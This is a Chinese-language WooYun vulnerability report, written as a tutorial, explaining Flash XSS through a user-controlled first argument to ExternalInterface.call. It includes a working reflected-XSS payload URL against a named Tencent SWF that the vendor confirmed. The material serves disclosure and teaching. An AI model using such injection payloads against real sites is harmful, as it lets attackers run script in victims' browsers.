漏洞概要 关注数(48) 关注此漏洞

缺陷编号: WooYun-2012-16532

漏洞标题: [腾讯实例教程] 那些年我们一起学XSS - 15. Flash Xss进阶 [ExternalInterface.call第一个参数]

相关厂商: 腾讯

漏洞作者: 心伤的瘦子

提交时间: 2012-12-26 14:55

公开时间: 2013-02-09 14:55

漏洞类型: xss跨站脚本攻击

危害等级: 低

自评Rank: 2

漏洞状态: 厂商已经确认

Tags标签: 反射型xss flash应用安全

5人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-26: 细节已通知厂商并且等待厂商处理中
2012-12-26: 厂商已经确认,细节仅向厂商公开
2013-01-05: 细节向核心白帽子及相关领域专家公开
2013-01-15: 细节向普通白帽子公开
2013-01-25: 细节向实习白帽子公开
2013-02-09: 细节向公众公开

简要描述:

除了上一节讲到的navigateToURL/getURL之外呢,另一个经常存在XSS缺陷的as函数就是ExternalInterface.call,此函数作为FLASH与宿主页面javascript通信的接口,一般来说,有“2”个参数,第一个参数为所调用js函数名,后续的其他参数则为所调用的js函数的参数。那么在参数可控的情况下,不论是第一个参数或是后续参数可控,我们均能加以利用实现XSS。本节先说一说第一个参数可控的情况。

详细说明:

1. 先从程序员的角度说下基础知识,有时候,我们需要在FLASH里调用当前页面中的javascript函数,例如:一个简单的需求,我们要在游戏加载完成后,执行弹出1的操作。



javascript代码:



alert(1)





as代码



ExternalInterface.call("alert","1");





2. 有的程序员就会觉得,直接弹出1太丑了吧。于是他自己写个js的函数



function myalert(str){
//显示一个漂亮的浮动层,并且把str显示在上面。
}





然后在as里



ExternalInterface.call("myalert","1");





3. 又有一天,另外一个程序员觉得上面那个程序员写的东西不错,但是他的JS函数名不叫myalert,于是喊那个程序员改下as代码。于是那个程序员觉得,免得以后老是有人喊我改代码,他就将代码写成了下面这个样子。



var func:String=root.loaderInfo.parameters.func; //接受FLASH所带的func参数
ExternalInterface.call(func,"1");





这样一来,其他想用这个FLASH的人,不需要修改FLASH,只需要调用FLASH的时候带上参数即可。



比如我的JS函数是newalert, 我只需要按照下面这么调用:



http://some.com/xxx.swf?func=newalert





4. 上述过程提高了程序的可重用性,为开发人员带来了极大的便利,但是却是缺乏安全考虑的。



攻击者可以采用以下的方式来执行自己的代码



http://some.com/xxx.swf?func=(function(){alert("hi jack")})



5. 为了方便理解,我们可以将



ExternalInterface.call("函数名","参数1");





看成JS里的



函数名("参数1");





而FLASH里实际最后执行的JS代码,形式如下(至于下面这句哪里来的,暂时不表):



try { __flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }





因而 函数名 部分也可以写为 (function(){alert("hi jack")}) 的形式。



6. 上面说的是理论基础,有了这个基础,我们来看实例,就比较简单了。



http://quan.qq.com/swf/swfupload.swf



7. 怎么反编译,见上一篇。我们来看怎么查找缺陷。



8. 因为这是一个AS3.0的FLASH文件,我们首先确定FLASH是否有接受参数。



as3.0 接受参数的方法,所有参数存放在 root.loaderInfo.parameters 对象里。



例如 aaa.swf?a=1&b=2&c=3,



那么 root.loaderInfo.parameters 则等于



{

"a":1,

"b":2,

"c":3

}

9. 我们可以定位到 movieName变量



picture\4_76.jpg





可以看出,FLASH的movieName参数,存放到了this.movieName中。



10.进一步, this.movieName被带入了到了this.flashReady_Callback及其它变量。



picture\7_77.jpg





this.flashReady_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].flashReady");





11. 我们再进一步看看,this.flashReady_Callback 被用到了哪里。



picture\10_78.jpg





12. 再接着看看调用 this.flashReady_Callback 的Simple函数是啥样子的。



picture\13_79.jpg





可以看到,最终这个参数被放到 ExternalInterface.call 的第一个参数中执行了。



13. 是不是很激动。我们来假设一下,按下面调用FLASH



http://quan.qq.com/swf/swfupload.swf?movieName=aaaaaaaa



那么this.flashReady_Callback就等于以下内容。



SWFUpload.instances["aaaaaaaa"].flashReady



最终调用的是



ExternalInterface.call('SWFUpload.instances["aaaaaaaa"].flashReady');



14. 如果我们要调用自己的JS代码,就需要构造闭合,但是你会发现有一定问题。。



我们最多能够造成下面的模样。



ExternalInterface.call('SWFUpload.instances["aaa"];function SWFUpload(){};SWFUpload["aaa"].flashReady');





但是这样是无法正确执行的,因为 SWFUpload.instances没有被定义,从而SWFUpload.instances["aaa"]会失败。



15. 怎么办呢?这里就要拿出我们第5步里的知识了。我们把“函数名”换成call的第一个参数内容。变成下面的形式。



try { __flash__toXML(SWFUpload.instances["aaaaaaaa"].flashReady("参数1")) ; } catch (e) { "<undefined/>"; }





我们再基于以上代码来构造,



try { __flash__toXML(SWFUpload.instances["aaa"])}catch(e){alert(1)};//"].flashReady("参数1")) ; } catch (e) { "<undefined/>"; }





图片解析:



picture\16_80.jpg





上面一行不好看懂的话,写的好看点。



try {
__flash__toXML(SWFUpload.instances["aaa"]) //此行代码,因为SWFUpload未定义,出错,跳转到catch部分
}catch(e){
alert(1); //这里将会被执行。
};

//"].flashReady("参数1")) ; } catch (e) { "<undefined/>"; }





16. 最后,我们把构造的代码,放进FLASH的参数里



http://quan.qq.com/swf/swfupload.swf?movieName=aaa"])}catch(e){alert(1)};//





可以看到成功执行alert(1)



picture\19_81.jpg

漏洞证明:

见详细说明。

修复方案:

对传入call的字符串进行判断或过滤操作。

版权声明:转载请注明来源 心伤的瘦子@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2012-12-26 16:13

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评论

  1. 2012-12-26 14:56 | 疯子 ( 普通白帽子 | Rank:146 漏洞数:22 | 世人笑我太疯癫,我笑世人看不穿~)
    0

    广告位招租

  2. 2012-12-26 15:05 | kobin97 (核心白帽子 | Rank:713 漏洞数:81 | 关注网络安全。。)
    0

    广告位招租

  3. 2012-12-26 15:07 | 鬼魅羊羔 ( 普通白帽子 | Rank:164 漏洞数:25 | 不许动!我是警察!)
    0

    广告位招猪

  4. 2012-12-26 15:18 | only_guest (核心白帽子 | Rank:737 漏洞数:71 | PKAV技术宅社区-专心做技术.)
    0

    坐等全部教程公开.

  5. 2012-12-26 15:31 | Adra1n ( 普通白帽子 | Rank:214 漏洞数:30 | 学习求教无线、手机方面的安全知识。。。)
    0

    这个牛叉了!!

  6. 2012-12-26 16:02 | VIP ( 实习白帽子 | Rank:204 漏洞数:34 )
    0

    @xsser 说好的关注瘦子功能呢?

  7. 2012-12-26 16:14 | 疯子 ( 普通白帽子 | Rank:146 漏洞数:22 | 世人笑我太疯癫,我笑世人看不穿~)
    0

    @xsser 说好的追星功能呢?

  8. 2012-12-26 16:15 | xsser (核心白帽子 | Rank:249 漏洞数:17 | Live free or Die!)
    0

    @疯子 今天在加了 稍安勿躁

  9. 2012-12-26 16:21 | z@cx ( 普通白帽子 | Rank:308 漏洞数:34 | 额,13年再见。。。)
    0

    底部广告位招租

  10. 2012-12-26 23:07 | 蓝风 ( 普通白帽子 | Rank:123 漏洞数:23 | ‮#知我者謂我心憂 不知我者謂我何求#)
    0

    友情链接

  11. 2012-12-28 18:40 | 昵称 ( 实习白帽子 | 还没有发布任何漏洞 | 简单介绍)
    0

    牛叉啊

  12. 2013-01-26 16:15 | 专注XSS三十年 ( 实习白帽子 | Rank:16 漏洞数:4 )
    0

    非一般的牛……我最复杂的XSS也依然是JS的,FLASH的暂时还没研究……

  13. 2013-01-26 21:38 | px1624 ( 普通白帽子 | Rank:438 漏洞数:57 | 电脑业余爱好者,菜鸟一个,是来交流学习的...)
    0

    @专注XSS三十年 same to you、